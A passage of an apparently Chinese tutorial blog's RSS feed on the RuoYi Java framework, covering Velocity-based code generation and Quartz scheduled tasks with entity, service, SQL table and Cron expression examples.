        velocityContext.put(&quot;className&quot;, StringUtils.uncapitalize(genTable.getClassName()));
        velocityContext.put(&quot;moduleName&quot;, genTable.getModuleName());
        velocityContext.put(&quot;businessName&quot;, genTable.getBusinessName());
        velocityContext.put(&quot;basePackage&quot;, getPackagePrefix(packageName));
        velocityContext.put(&quot;packageName&quot;, packageName);
        velocityContext.put(&quot;author&quot;, genTable.getFunctionAuthor());
        velocityContext.put(&quot;datetime&quot;, DateUtils.getDate());
        velocityContext.put(&quot;pkColumn&quot;, genTable.getPkColumn());
        velocityContext.put(&quot;importList&quot;, getImportList(genTable.getColumns()));
        velocityContext.put(&quot;permissionPrefix&quot;, getPermissionPrefix(moduleName, businessName));
        velocityContext.put(&quot;columns&quot;, genTable.getColumns());
        velocityContext.put(&quot;table&quot;, genTable);

        if (GenConstants.TPL_TREE.equals(tplCategory)) {
            setTreeVelocityContext(velocityContext, genTable);
        }

        if (GenConstants.TPL_SUB.equals(tplCategory)) {
            setSubVelocityContext(velocityContext, genTable);
        }

        return velocityContext;
    }

    /**
     * 获取模板信息
     */
    public static List&amp;lt;String&amp;gt; getTemplateList(String tplCategory) {
        List&amp;lt;String&amp;gt; templates = new ArrayList&amp;lt;String&amp;gt;();
        templates.add(&quot;vm/java/domain.java.vm&quot;);
        templates.add(&quot;vm/java/mapper.java.vm&quot;);
        templates.add(&quot;vm/java/service.java.vm&quot;);
        templates.add(&quot;vm/java/serviceImpl.java.vm&quot;);
        templates.add(&quot;vm/java/controller.java.vm&quot;);
        templates.add(&quot;vm/xml/mapper.xml.vm&quot;);
        templates.add(&quot;vm/html/list.html.vm&quot;);
        templates.add(&quot;vm/html/add.html.vm&quot;);
        templates.add(&quot;vm/html/edit.html.vm&quot;);
        templates.add(&quot;vm/sql/menu.sql.vm&quot;);
        return templates;
    }

    /**
     * 获取文件名
     */
    public static String getFileName(String template, GenTable genTable) {
        // 文件名称
        String fileName = &quot;&quot;;
        // 包路径
        String packageName = genTable.getPackageName();
        // 模块名
        String moduleName = genTable.getModuleName();
        // 大写类名
        String className = genTable.getClassName();
        // 业务名称
        String businessName = genTable.getBusinessName();

        String javaPath = PROJECT_PATH + &quot;/&quot; + StringUtils.replace(packageName, &quot;.&quot;, &quot;/&quot;);
        String mybatisPath = MYBATIS_PATH + &quot;/&quot; + moduleName;
        String htmlPath = TEMPLATES_PATH + &quot;/&quot; + moduleName + &quot;/&quot; + businessName;

        if (template.contains(&quot;domain.java.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/domain/{}.java&quot;, javaPath, className);
        } else if (template.contains(&quot;mapper.java.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/mapper/{}Mapper.java&quot;, javaPath, className);
        } else if (template.contains(&quot;service.java.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/service/I{}Service.java&quot;, javaPath, className);
        } else if (template.contains(&quot;serviceImpl.java.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/service/impl/{}ServiceImpl.java&quot;, javaPath, className);
        } else if (template.contains(&quot;controller.java.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/controller/{}Controller.java&quot;, javaPath, className);
        } else if (template.contains(&quot;mapper.xml.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/{}Mapper.xml&quot;, mybatisPath, className);
        } else if (template.contains(&quot;list.html.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/{}.html&quot;, htmlPath, businessName);
        } else if (template.contains(&quot;add.html.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/add.html&quot;, htmlPath);
        } else if (template.contains(&quot;edit.html.vm&quot;)) {
            fileName = StringUtils.format(&quot;{}/edit.html&quot;, htmlPath);
        } else if (template.contains(&quot;menu.sql.vm&quot;)) {
            fileName = businessName + &quot;Menu.sql&quot;;
        }
        return fileName;
    }

    /**
     * 获取权限前缀
     */
    public static String getPermissionPrefix(String moduleName, String businessName) {
        return StringUtils.format(&quot;{}:{}&quot;, moduleName, businessName);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 代码生成核心流程
// 1. 导入表结构
GenTable table = genTableMapper.selectDbTableByName(tableName);
GenUtils.initTable(table, operName);
genTableMapper.insertGenTable(table);

// 2. 初始化 Velocity
VelocityInitializer.initVelocity();

// 3. 准备模板上下文
VelocityContext context = VelocityUtils.prepareContext(table);

// 4. 渲染模板
Template tpl = Velocity.getTemplate(template, Constants.UTF8);
tpl.merge(context, sw);

// 5. 生成文件
zip.putNextEntry(new ZipEntry(fileName));
IOUtils.write(sw.toString(), zip, Constants.UTF8);
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GenTable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;生成表实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GenTableColumn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;生成列实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GenConfig&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;代码生成配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VelocityUtils&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Velocity 工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GenUtils&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;代码生成工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IGenTableService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;生成表服务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模板类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;crud&lt;/td&gt;
&lt;td&gt;单表增删改查&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tree&lt;/td&gt;
&lt;td&gt;树表（带层级）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sub&lt;/td&gt;
&lt;td&gt;主子表（一对多）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-12-system-monitor/&quot;&gt;阶段十二：系统监控&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段十二中，我们将学习系统监控功能，包括服务监控、缓存监控和在线用户管理。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段十：定时任务</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-10-quartz-task/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-10-quartz-task/</guid><description>学习 Quartz 定时任务的使用，掌握任务配置、Cron 表达式和任务调度实现。</description><pubDate>Mon, 07 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段十&lt;/strong&gt;，聚焦定时任务。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解 Quartz 定时任务的工作原理&lt;/li&gt;
&lt;li&gt;掌握 Cron 表达式的语法&lt;/li&gt;
&lt;li&gt;知道如何创建和管理定时任务&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：定时任务像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi 定时任务&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysJob&lt;/code&gt; 任务&lt;/td&gt;
&lt;td&gt;setInterval / setTimeout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cron 表达式&lt;/td&gt;
&lt;td&gt;crontab 语法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;任务调度&lt;/td&gt;
&lt;td&gt;任务队列 (Queue)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;任务日志&lt;/td&gt;
&lt;td&gt;console.log 记录&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;暂停/恢复&lt;/td&gt;
&lt;td&gt;clearTimeout / setInterval&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Quartz 简介&lt;/h2&gt;
&lt;p&gt;Quartz 是一个功能强大的任务调度框架，支持：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;持久化&lt;/strong&gt;：任务信息存储在数据库中，重启后自动恢复&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;集群支持&lt;/strong&gt;：多个节点协同执行任务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灵活的触发器&lt;/strong&gt;：Cron 表达式、简单触发器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;任务监听&lt;/strong&gt;：执行前后监听&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;核心组件&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;组件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scheduler&lt;/td&gt;
&lt;td&gt;任务调度器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Job&lt;/td&gt;
&lt;td&gt;任务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JobDetail&lt;/td&gt;
&lt;td&gt;任务详情&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trigger&lt;/td&gt;
&lt;td&gt;触发器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CronTrigger&lt;/td&gt;
&lt;td&gt;Cron 表达式触发器&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;任务实体类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/quartz/domain/SysJob.java
package com.ruoyi.quartz.domain;

import java.io.Serializable;
import java.util.Date;
import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.constant.ScheduleConstants;
import com.ruoyi.common.core.domain.BaseEntity;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.quartz.util.CronUtils;

/**
 * 定时任务调度表 sys_job
 * 
 * @author ruoyi
 */
public class SysJob extends BaseEntity implements Serializable {
    private static final long serialVersionUID = 1L;

    /** 任务ID */
    @Excel(name = &quot;任务序号&quot;, cellType = ColumnType.NUMERIC)
    private Long jobId;

    /** 任务名称 */
    @Excel(name = &quot;任务名称&quot;)
    private String jobName;

    /** 任务组名 */
    @Excel(name = &quot;任务组名&quot;)
    private String jobGroup;

    /** 调用目标字符串 */
    @Excel(name = &quot;调用目标字符串&quot;)
    private String invokeTarget;

    /** cron执行表达式 */
    @Excel(name = &quot;cron执行表达式&quot;)
    private String cronExpression;

    /** cron计划策略 */
    @Excel(name = &quot;cron计划策略&quot;, readConverterExp = &quot;0=立即执行,1=执行一次,2=放弃执行&quot;)
    private String misfirePolicy = ScheduleConstants.MISFIRE_DEFAULT;

    /** 是否并发执行（0允许 1禁止） */
    @Excel(name = &quot;并发执行&quot;, readConverterExp = &quot;0=允许,1=禁止&quot;)
    private String concurrent;

    /** 任务状态（0正常 1暂停） */
    @Excel(name = &quot;任务状态&quot;, readConverterExp = &quot;0=正常,1=暂停&quot;)
    private String status;

    /** 备注 */
    private String remark;

    public Long getJobId() {
        return jobId;
    }

    public void setJobId(Long jobId) {
        this.jobId = jobId;
    }

    @NotBlank(message = &quot;任务名称不能为空&quot;)
    @Size(min = 0, max = 64, message = &quot;任务名称不能超过64个字符&quot;)
    public String getJobName() {
        return jobName;
    }

    public void setJobName(String jobName) {
        this.jobName = jobName;
    }

    public String getJobGroup() {
        return jobGroup;
    }

    public void setJobGroup(String jobGroup) {
        this.jobGroup = jobGroup;
    }

    @NotBlank(message = &quot;调用目标字符串不能为空&quot;)
    @Size(min = 0, max = 500, message = &quot;调用目标字符串长度不能超过500个字符&quot;)
    public String getInvokeTarget() {
        return invokeTarget;
    }

    public void setInvokeTarget(String invokeTarget) {
        this.invokeTarget = invokeTarget;
    }

    @NotBlank(message = &quot;Cron执行表达式不能为空&quot;)
    @Size(min = 0, max = 255, message = &quot;Cron执行表达式长度不能超过255个字符&quot;)
    public String getCronExpression() {
        return cronExpression;
    }

    public void setCronExpression(String cronExpression) {
        this.cronExpression = cronExpression;
    }

    public Date getNextValidTime() {
        if (StringUtils.isNotEmpty(cronExpression)) {
            return CronUtils.getNextExecution(cronExpression);
        }
        return null;
    }

    public String getMisfirePolicy() {
        return misfirePolicy;
    }

    public void setMisfirePolicy(String misfirePolicy) {
        this.misfirePolicy = misfirePolicy;
    }

    public String getConcurrent() {
        return concurrent;
    }

    public void setConcurrent(String concurrent) {
        this.concurrent = concurrent;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;jobId&quot;, getJobId())
            .append(&quot;jobName&quot;, getJobName())
            .append(&quot;jobGroup&quot;, getJobGroup())
            .append(&quot;cronExpression&quot;, getCronExpression())
            .append(&quot;nextValidTime&quot;, getNextValidTime())
            .append(&quot;misfirePolicy&quot;, getMisfirePolicy())
            .append(&quot;concurrent&quot;, getConcurrent())
            .append(&quot;status&quot;, getStatus())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据库表结构&lt;/h2&gt;
&lt;h3&gt;任务表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_job (
  job_id            BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;任务ID&apos;,
  job_name          VARCHAR(64)     NOT NULL                   COMMENT &apos;任务名称&apos;,
  job_group         VARCHAR(64)     NOT NULL                   COMMENT &apos;任务组名&apos;,
  invoke_target     VARCHAR(500)    NOT NULL                   COMMENT &apos;调用目标字符串&apos;,
  cron_expression   VARCHAR(255)    DEFAULT &apos;&apos;                 COMMENT &apos;cron执行表达式&apos;,
  misfire_policy    VARCHAR(20)     DEFAULT &apos;3&apos;                COMMENT &apos;计划执行错误策略&apos;,
  concurrent        CHAR(1)         DEFAULT &apos;1&apos;                COMMENT &apos;是否并发执行（0允许 1禁止）&apos;,
  status            CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;状态（0正常 1暂停）&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT &apos;&apos;                 COMMENT &apos;备注信息&apos;,
  PRIMARY KEY (job_id, job_name, job_group)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;定时任务调度表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;任务日志表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_job_log (
  job_log_id        BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;任务日志ID&apos;,
  job_name          VARCHAR(64)     NOT NULL                   COMMENT &apos;任务名称&apos;,
  job_group         VARCHAR(64)     NOT NULL                   COMMENT &apos;任务组名&apos;,
  invoke_target     VARCHAR(500)    NOT NULL                   COMMENT &apos;调用目标字符串&apos;,
  job_message       VARCHAR(500)    DEFAULT NULL               COMMENT &apos;日志信息&apos;,
  status            CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;执行状态（0正常 1失败）&apos;,
  exception_info    VARCHAR(2000)   DEFAULT &apos;&apos;                 COMMENT &apos;异常信息&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  PRIMARY KEY (job_log_id)
) ENGINE=InnoDB COMMENT = &apos;定时任务调度日志表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cron 表达式&lt;/h2&gt;
&lt;h3&gt;语法结构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌───────────── 秒 (0 - 59)
│ ┌───────────── 分 (0 - 59)
│ │ ┌───────────── 小时 (0 - 23)
│ │ │ ┌───────────── 日期 (1 - 31)
│ │ │ │ ┌───────────── 月份 (1 - 12)
│ │ │ │ │ ┌───────────── 星期 (0 - 7, 0和7都表示周日)
│ │ │ │ │ │
* * * * * *
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;特殊字符&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字符&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有值&lt;/td&gt;
&lt;td&gt;&lt;code&gt;* * * * * ?&lt;/code&gt; 每秒执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不指定值（用于日期和星期）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0 0 12 * * ?&lt;/code&gt; 每天12点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;范围&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0 0-5 12 * * ?&lt;/code&gt; 12点0分到5分&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;,&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;列表&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0 0,15,30 12 * * ?&lt;/code&gt; 12点的0分、15分、30分&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;增量&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0 0/5 12 * * ?&lt;/code&gt; 12点开始每5分钟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最后&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0 0 12 L * ?&lt;/code&gt; 每月最后一天12点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;工作日&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0 0 12 ? * 2-6&lt;/code&gt; 工作日12点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;第几个星期几&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0 0 12 ? * 6#3&lt;/code&gt; 第3个星期五12点&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;常用表达式&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;表达式&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0 0 2 * * ?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;每天凌晨2点执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0 0/5 * * * ?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;每5分钟执行一次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0 0 0 1 * ?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;每月1号0点执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0 0 12 ? * MON-FRI&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;工作日中午12点执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0 0 0 1,15 * ?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;每月1号和15号0点执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0 15 10 ? * *&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;每天上午10:15执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0 0 0 L * ?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;每月最后一天0点执行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;在线工具&lt;/h3&gt;
&lt;p&gt;推荐使用在线 Cron 表达式生成器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://cron.qqe2.com/&lt;/li&gt;
&lt;li&gt;https://www.bejson.com/othertools/cron/&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;任务 Service 实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java
package com.ruoyi.quartz.service.impl;

import java.util.List;
import javax.annotation.PostConstruct;
import org.quartz.JobDataMap;
import org.quartz.JobKey;
import org.quartz.Scheduler;
import org.quartz.SchedulerException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.constant.ScheduleConstants;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.quartz.domain.SysJob;
import com.ruoyi.quartz.mapper.SysJobMapper;
import com.ruoyi.quartz.service.ISysJobService;
import com.ruoyi.quartz.util.CronUtils;
import com.ruoyi.quartz.util.ScheduleUtils;

/**
 * 定时任务调度信息 服务层
 * 
 * @author ruoyi
 */
@Service
public class SysJobServiceImpl implements ISysJobService {
    @Autowired
    private Scheduler scheduler;

    @Autowired
    private SysJobMapper jobMapper;

    /**
     * 项目启动时，初始化调度器 主要是防止手动修改数据库导致未同步到定时任务处理
     */
    @PostConstruct
    public void init() throws SchedulerException {
        scheduler.clear();
        List&amp;lt;SysJob&amp;gt; jobList = jobMapper.selectJobAll();
        for (SysJob job : jobList) {
            ScheduleUtils.createScheduleJob(scheduler, job);
        }
    }

    /**
     * 获取quartz调度器的计划任务列表
     */
    @Override
    public List&amp;lt;SysJob&amp;gt; selectJobList(SysJob job) {
        return jobMapper.selectJobList(job);
    }

    /**
     * 通过调度任务ID查询调度信息
     */
    @Override
    public SysJob selectJobById(Long jobId) {
        return jobMapper.selectJobById(jobId);
    }

    /**
     * 暂停任务
     */
    @Override
    @Transactional
    public int pauseJob(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        String jobGroup = job.getJobGroup();
        SysJob properties = selectJobById(jobId);
        // 暂停任务
        scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup));
        properties.setStatus(ScheduleConstants.Status.PAUSE.getValue());
        return jobMapper.updateJob(properties);
    }

    /**
     * 恢复任务
     */
    @Override
    @Transactional
    public int resumeJob(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        String jobGroup = job.getJobGroup();
        SysJob properties = selectJobById(jobId);
        // 恢复任务
        scheduler.resumeJob(ScheduleUtils.getJobKey(jobId, jobGroup));
        properties.setStatus(ScheduleConstants.Status.NORMAL.getValue());
        return jobMapper.updateJob(properties);
    }

    /**
     * 删除任务后，所对应的trigger也将被删除
     */
    @Override
    @Transactional
    public int deleteJob(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        String jobGroup = job.getJobGroup();
        // 删除任务
        scheduler.deleteJob(ScheduleUtils.getJobKey(jobId, jobGroup));
        return jobMapper.deleteJobById(jobId);
    }

    /**
     * 批量删除调度信息
     */
    @Override
    @Transactional
    public void deleteJobByIds(String ids) throws SchedulerException {
        Long[] jobIds = Convert.toLongArray(ids);
        for (Long jobId : jobIds) {
            SysJob job = jobMapper.selectJobById(jobId);
            deleteJob(job);
        }
    }

    /**
     * 任务调度状态修改
     */
    @Override
    @Transactional
    public int changeStatus(SysJob job) throws SchedulerException {
        int rows = 0;
        String status = job.getStatus();
        if (ScheduleConstants.Status.NORMAL.getValue().equals(status)) {
            rows = resumeJob(job);
        } else if (ScheduleConstants.Status.PAUSE.getValue().equals(status)) {
            rows = pauseJob(job);
        }
        return rows;
    }

    /**
     * 立即运行任务
     */
    @Override
    @Transactional
    public void run(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        SysJob tmpObj = selectJobById(jobId);
        // 参数
        JobDataMap dataMap = new JobDataMap();
        dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj);
        scheduler.triggerJob(ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup()), dataMap);
    }

    /**
     * 新增任务
     */
    @Override
    @Transactional
    public int insertJob(SysJob job) throws SchedulerException {
        job.setStatus(ScheduleConstants.Status.PAUSE.getValue());
        int rows = jobMapper.insertJob(job);
        if (rows &amp;gt; 0) {
            ScheduleUtils.createScheduleJob(scheduler, job);
        }
        return rows;
    }

    /**
     * 更新任务的时间表达式
     */
    @Override
    @Transactional
    public int updateJob(SysJob job) throws SchedulerException {
        SysJob properties = selectJobById(job.getJobId());
        int rows = jobMapper.updateJob(job);
        if (rows &amp;gt; 0) {
            updateSchedulerJob(job, properties.getJobGroup());
        }
        return rows;
    }

    /**
     * 更新任务
     */
    public void updateSchedulerJob(SysJob job, String jobGroup) throws SchedulerException {
        Long jobId = job.getJobId();
        // 判断是否存在
        JobKey jobKey = ScheduleUtils.getJobKey(jobId, jobGroup);
        if (scheduler.checkExists(jobKey)) {
            // 防止创建时触发器还未开始就删除了
            scheduler.deleteJob(jobKey);
        }
        ScheduleUtils.createScheduleJob(scheduler, job);
    }

    /**
     * 校验cron表达式是否有效
     */
    @Override
    public boolean checkCronExpressionIsValid(SysJob job) {
        return CronUtils.isValid(job.getCronExpression());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;任务调度工具类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java
package com.ruoyi.quartz.util;

import org.quartz.*;
import com.ruoyi.common.constant.ScheduleConstants;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.quartz.domain.SysJob;

/**
 * 定时任务工具类
 * 
 * @author ruoyi
 */
public class ScheduleUtils {
    /**
     * 得到quartz任务类
     */
    private static Class&amp;lt;? extends Job&amp;gt; getQuartzJobClass(SysJob sysJob) {
        boolean isConcurrent = &quot;0&quot;.equals(sysJob.getConcurrent());
        return isConcurrent ? QuartzJobExecution.class : QuartzDisallowConcurrentExecution.class;
    }

    /**
     * 构建任务触发对象
     */
    public static TriggerKey getTriggerKey(Long jobId, String jobGroup) {
        return TriggerKey.triggerKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup);
    }

    /**
     * 构建任务键对象
     */
    public static JobKey getJobKey(Long jobId, String jobGroup) {
        return JobKey.jobKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup);
    }

    /**
     * 创建定时任务
     */
    public static void createScheduleJob(Scheduler scheduler, SysJob job) {
        try {
            Class&amp;lt;? extends Job&amp;gt; jobClass = getQuartzJobClass(job);
            // 构建job信息
            Long jobId = job.getJobId();
            String jobGroup = job.getJobGroup();
            JobDetail jobDetail = JobBuilder.newJob(jobClass)
                    .withIdentity(getJobKey(jobId, jobGroup))
                    .build();

            // 表达式调度构建器
            CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder
                    .cronSchedule(job.getCronExpression());
